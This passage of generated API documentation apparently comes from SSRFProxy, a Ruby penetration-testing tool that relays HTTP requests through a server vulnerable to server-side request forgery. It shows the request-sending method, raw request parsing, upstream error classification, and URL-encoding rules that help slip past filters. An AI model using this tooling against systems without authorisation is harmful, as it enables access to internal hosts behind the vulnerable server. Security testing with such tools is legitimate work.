'Forbidden' 1272 elsif response =~ /HTTPError: HTTP Error 404: Not Found/ 1273 result['code'] = 404 1274 result['message'] = 'Not Found' 1275 elsif response =~ /HTTPError: HTTP Error 405: Method Not Allowed/ 1276 result['code'] = 405 1277 result['message'] = 'Method Not Allowed' 1278 elsif response =~ /HTTPError: HTTP Error 410: Gone/ 1279 result['code'] = 410 1280 result['message'] = 'Gone' 1281 elsif response =~ /HTTPError: HTTP Error 500: Internal Server Error/ 1282 result['code'] = 500 1283 result['message'] = 'Internal Server Error' 1284 elsif response =~ /HTTPError: HTTP Error 502: Bad Gateway/ 1285 result['code'] = 502 1286 result['message'] = 'Bad Gateway' 1287 elsif response =~ /HTTPError: HTTP Error 503: Service Unavailable/ 1288 result['code'] = 503 1289 result['message'] = 'Service Unavailable' 1290 elsif response =~ /HTTPError: HTTP Error 504: Gateway Time-?out/ 1291 result['code'] = 504 1292 result['message'] = 'Timeout' 1293 end 1294 # Ruby exceptions 1295 elsif response =~ /Errno::[A-Z]+/ 1296 # Connection refused 1297 if response =~ /Errno::ECONNREFUSED/ 1298 result['code'] = 502 1299 result['message'] = 'Bad Gateway' 1300 # No route to host 1301 elsif response =~ /Errno::EHOSTUNREACH/ 1302 result['code'] = 502 1303 result['message'] = 'Bad Gateway' 1304 # Connection timed out 1305 elsif response =~ /Errno::ETIMEDOUT/ 1306 result['code'] = 504 1307 result['message'] = 'Timeout' 1308 end 1309 # ASP.NET System.Net.WebClient errors 1310 elsif response =~ /System\.Net\.WebClient/ 1311 # The remote server returned an error: ([code]) [message]. 1312 if response =~ /WebException: The remote server returned an error: \(([\d+])\) / 1313 result['code'] = $1.to_s 1314 result['message'] = '' 1315 if response =~ /WebException: The remote server returned an error: \(([\d+])\) ([a-zA-Z ]+)\./ 1316 result['message'] = $2.to_s 1317 end 1318 # Could not resolve hostname 1319 elsif response =~ /WebException: The remote name could not be resolved/ 1320 result['code'] = 502 1321 result['message'] = 'Bad Gateway' 1322 # Remote server denied connection (port closed) 1323 elsif response =~ /WebException: Unable to connect to the remote server/ 1324 result['code'] = 502 1325 result['message'] = 'Bad Gateway' 1326 # This likely indicates a plain-text connection to a HTTPS or non-HTTP service 1327 elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a receive/ 1328 result['code'] = 502 1329 result['message'] = 'Bad Gateway' 1330 # This likely indicates a HTTPS connection to a plain-text HTTP or non-HTTP service 1331 elsif response =~ /WebException: The underlying connection was closed: An unexpected error occurred on a send/ 1332 result['code'] = 502 1333 result['message'] = 'Bad Gateway' 1334 # The operation has timed out 1335 elsif response =~ /WebException: The operation has timed out/ 1336 result['code'] = 504 1337 result['message'] = 'Timeout' 1338 end 1339 # Generic error messages 1340 elsif response =~ /(Connection refused|No route to host|Connection timed out) - connect\(\d\)/ 1341 # Connection refused 1342 if response =~ /Connection refused - connect\(\d\)/ 1343 result['code'] = 502 1344 result['message'] = 'Bad Gateway' 1345 # No route to host 1346 elsif response =~ /No route to host - connect\(\d\)/ 1347 result['code'] = 502 1348 result['message'] = 'Bad Gateway' 1349 # Connection timed out 1350 elsif response =~ /Connection timed out - connect\(\d\)/ 1351 result['code'] = 504 1352 result['message'] = 'Timeout' 1353 end 1354 end 1355 result 1356 end
Parse a raw HTTP
request as a string
@param [String] request raw HTTP
request
@raise [SSRFProxy::HTTP::Error::InvalidClientRequest]
An invalid client HTTP request was supplied.
@return [Hash] HTTP
request hash (url, method, headers, body)
# File lib/ssrf_proxy/http.rb 407 def parse_http_request(request) 408 # parse method 409 if request.to_s !~ /\A(GET|HEAD|DELETE|POST|PUT|OPTIONS) / 410 logger.warn('HTTP request method is not supported') 411 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 412 'HTTP request method is not supported.' 413 end 414 415 # parse client request 416 begin 417 req = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP) 418 req.parse(StringIO.new(request)) 419 rescue 420 logger.warn('HTTP request is malformed.') 421 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 422 'HTTP request is malformed.' 423 end 424 425 # validate host 426 if request.to_s !~ %r{\A(GET|HEAD|DELETE|POST|PUT|OPTIONS) https?://} 427 if request.to_s =~ /^Host: ([^\s]+)\r?\n/ 428 logger.info("Using host header: #{$1}") 429 else 430 logger.warn('HTTP request is malformed : No host specified.') 431 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 432 'HTTP request is malformed : No host specified.' 433 end 434 end 435 436 # return request hash 437 uri = req.request_uri 438 method = req.request_method 439 headers = req.header 440 begin 441 body = req.body.to_s 442 rescue WEBrick::HTTPStatus::BadRequest => e 443 logger.warn("HTTP request is malformed : #{e.message}") 444 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 445 "HTTP request is malformed : #{e.message}" 446 rescue WEBrick::HTTPStatus::LengthRequired 447 logger.warn("HTTP request is malformed : Request body without 'Content-Length' header.") 448 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 449 "HTTP request is malformed : Request body without 'Content-Length' header." 450 end 451 452 { 'uri' => uri, 453 'method' => method, 454 'headers' => headers, 455 'body' => body } 456 end
Run a specified URL through SSRF rules
@param [String] url request URL @param [String] rules comma separated list of rules
@return [String] modified request URL
# File lib/ssrf_proxy/http.rb 946 def run_rules(url, rules) 947 str = url.to_s 948 return str if rules.nil? 949 rules.each do |rule| 950 case rule 951 when 'noproto' 952 str = str.gsub(%r{^https?://}, '') 953 when 'nossl', 'http' 954 str = str.gsub(%r{^https://}, 'http://') 955 when 'ssl', 'https' 956 str = str.gsub(%r{^http://}, 'https://') 957 when 'base32' 958 str = Base32.encode(str).to_s 959 when 'base64' 960 str = Base64.encode64(str).delete("\n") 961 when 'md4' 962 str = OpenSSL::Digest::MD4.hexdigest(str) 963 when 'md5' 964 md5 = Digest::MD5.new 965 md5.update str 966 str = md5.hexdigest 967 when 'sha1' 968 str = Digest::SHA1.hexdigest(str) 969 when 'reverse' 970 str = str.reverse 971 when 'upcase' 972 str = str.upcase 973 when 'downcase' 974 str = str.downcase 975 when 'rot13' 976 str = str.tr('A-Za-z', 'N-ZA-Mn-za-m') 977 when 'urlencode' 978 str = CGI.escape(str).gsub(/\+/, '%20') 979 when 'urldecode' 980 str = CGI.unescape(str) 981 when 'append-hash' 982 str = "#{str}##{rand(36**6).to_s(36)}" 983 when 'append-method-get' 984 separator = str.include?('?') ? '&' : '?' 985 str = "#{str}#{separator}method=get&_method=get" 986 else 987 logger.warn("Unknown rule: #{rule}") 988 end 989 end 990 str 991 end
Send HTTP
request to the SSRF server
@param [String] url URI to fetch @param [String] method HTTP
request method @param [Hash] headers HTTP
request headers @param [String] body HTTP
request body
@raise [SSRFProxy::HTTP::Error::InvalidSsrfRequestMethod]
Invalid SSRF request method specified. Method must be GET/HEAD/DELETE/POST/PUT/OPTIONS.
@raise [SSRFProxy::HTTP::Error::ConnectionTimeout]
The request to the remote host timed out.
@raise [SSRFProxy::HTTP::Error::InvalidUpstreamProxy]
Invalid upstream proxy specified.
@return [Hash] Hash of the HTTP
response (status, code, headers, body)
# File lib/ssrf_proxy/http.rb 1011 def send_http_request(url, method, headers, body) 1012 # use upstream proxy 1013 if @proxy.nil? 1014 http = Net::HTTP::Proxy(nil).new( 1015 @url.host, 1016 @url.port 1017 ) 1018 elsif @proxy.scheme.eql?('http') || @proxy.scheme.eql?('https') 1019 http = Net::HTTP::Proxy( 1020 @proxy.host, 1021 @proxy.port 1022 ).new( 1023 @url.host, 1024 @url.port 1025 ) 1026 elsif @proxy.scheme.eql?('socks') 1027 http = Net::HTTP.SOCKSProxy( 1028 @proxy.host, 1029 @proxy.port 1030 ).new( 1031 @url.host, 1032 @url.port 1033 ) 1034 else 1035 raise SSRFProxy::HTTP::Error::InvalidUpstreamProxy.new, 1036 'Unsupported upstream proxy specified. Scheme must be http(s) or socks.' 1037 end 1038 1039 # set SSL 1040 if @url.scheme.eql?('https') 1041 http.use_ssl = true 1042 http.verify_mode = @insecure ? OpenSSL::SSL::VERIFY_NONE : OpenSSL::SSL::VERIFY_PEER 1043 end 1044 1045 # set socket options 1046 http.open_timeout = @timeout 1047 http.read_timeout = @timeout 1048 1049 # set http request method 1050 case method 1051 when 'GET' 1052 request = Net::HTTP::Get.new(url, headers.to_hash) 1053 when 'HEAD' 1054 request = Net::HTTP::Head.new(url, headers.to_hash) 1055 when 'DELETE' 1056 request = Net::HTTP::Delete.new(url, headers.to_hash) 1057 when 'POST' 1058 request = Net::HTTP::Post.new(url, headers.to_hash) 1059 when 'PUT' 1060 request = Net::HTTP::Put.new(url, headers.to_hash) 1061 when 'OPTIONS' 1062 request = Net::HTTP::Options.new(url, headers.to_hash) 1063 else 1064 logger.info("Request method #{method.inspect} not implemented") 1065 raise SSRFProxy::HTTP::Error::InvalidClientRequest, 1066 "Request method #{method.inspect} not implemented" 1067 end 1068 1069 # set http request credentials 1070 request.basic_auth(@user, @pass) unless @user.eql?('') && @pass.eql?('') 1071 1072 # send http request 1073 response = {} 1074 logger.info('Sending request: ' \ 1075 "#{@url.scheme}://#{@url.host}:#{@url.port}#{url}") 1076 begin 1077 unless body.eql?('') 1078 request.body = body 1079 logger.info("Using request body: #{request.body.inspect}") 1080 end 1081 response = http.request(request) 1082 rescue Net::HTTPBadResponse, EOFError 1083 logger.info('Server returned an invalid HTTP response') 1084 raise SSRFProxy::HTTP::Error::InvalidResponse, 1085 'Server returned an invalid HTTP response' 1086 rescue Errno::ECONNREFUSED, Errno::ECONNRESET 1087 logger.info('Connection failed') 1088 raise SSRFProxy::HTTP::Error::ConnectionFailed, 1089 'Connection failed' 1090 rescue Timeout::Error, Errno::ETIMEDOUT 1091 logger.info("Connection timed out [#{@timeout}]") 1092 raise SSRFProxy::HTTP::Error::ConnectionTimeout, 1093 "Connection timed out [#{@timeout}]" 1094 rescue => e 1095 logger.error("Unhandled exception: #{e}") 1096 raise e 1097 end 1098 1099 if response.code.eql?('401') 1100 if @user.eql?('') && @pass.eql?('') 1101 logger.warn('Authentication required') 1102 else 1103 logger.warn('Authentication failed') 1104 end 1105 end 1106 1107 response 1108 end
Guess content type based on magic bytes
@param [String] content File contents
@return [String] content-type value
# File lib/ssrf_proxy/http.rb 1385 def sniff_mime(content) 1386 m = MimeMagic.by_magic(content) 1387 return if m.nil? 1388 1389 # Overwrite incorrect mime types 1390 case m.type.to_s 1391 when 'application/xhtml+xml' 1392 return 'text/html' 1393 when 'text/x-csrc' 1394 return 'text/css' 1395 end 1396 1397 m.type 1398 rescue 1399 nil 1400 end